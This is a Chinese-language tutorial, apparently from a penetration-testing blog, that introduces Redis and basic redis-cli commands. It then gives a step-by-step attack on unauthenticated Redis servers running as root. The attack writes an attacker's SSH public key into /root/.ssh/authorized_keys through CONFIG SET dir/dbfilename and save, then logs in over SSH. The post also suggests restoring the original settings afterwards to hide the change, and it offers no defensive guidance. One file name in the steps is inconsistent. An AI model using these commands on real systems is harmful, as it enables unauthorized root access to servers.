redis介紹
Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日志型、 Key-Value數據庫。和Memcached類似,它支持存儲的value 類型相對更多,包括 string(字符串)、list ( 鏈表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希類型)。這些數據類型都支持push/pop 、 add/remove 及取交集並集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上, redis支持各種不同方式的排序。與 memcached 一樣,為了保證效率,數據都是緩存在內存中。區別的是 redis 會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,並且在此基礎上實現了 master-slave ( 主從)同步。
Redis因配置不當可以導致未授權訪問,被攻擊者惡意利用。當前流行的針對Redis未授權訪問的一種新型攻擊方式,在特定條件下,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器
redis基本命令
1.連接redis:
redis-cli是redis的客戶端管理工具,可用apt-get install redis-tools 安裝
redis-cli -h 192.168.63.130
默認連接6379端口,空密碼
redis-cli -h x.x.x.x -p 16379 -a q1w2e3r4
-p端口,-a密碼
查看redis版本信息、一些具體信息、服務器版本信息等等:
192.168.63.130:6379>info
將變量x的值設為test:
192.168.63.130:6379>set x "test"
是把整個redis數據庫刪除,一般情況下不要用!!!
192.168.63.130:6379>flushall
查看所有鍵:
192.168.63.130:6379>KEYS *
獲取默認的redis目錄、和rdb文件名:可以在修改前先獲取,然后走的時候再恢復。
192.168.63.130:6379>CONFIG GET dir
192.168.63.130:6379>CONFIG GET dbfilename
redis寫入ssh公鑰getshell
rsa是私鑰,pub是公鑰,把公鑰寫入目標redis的緩存中導出到目標的ssh目錄,然后使用私鑰登陸
1.ssh生成密鑰
ssh-keygen -t rsa
2.redis寫入公鑰
注意:前后用\n換行,避免和Redis里其他緩存數據混合
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/1.txt | redis-cli -h 192.168.147.83 -p 16379 -a q1w2e3r4 -x set ssh
3.導出
設置redis的備份路徑為/root/.ssh和保存文件名authorized_keys
config set dir /root/.ssh //設置redis的備份路徑為/root/.ssh
config set dbfilename authorized_keys //保存文件名authorized_keys
save
4.ssh使用私鑰連接
ssh -i id_rsa x.x.x.x -p 22198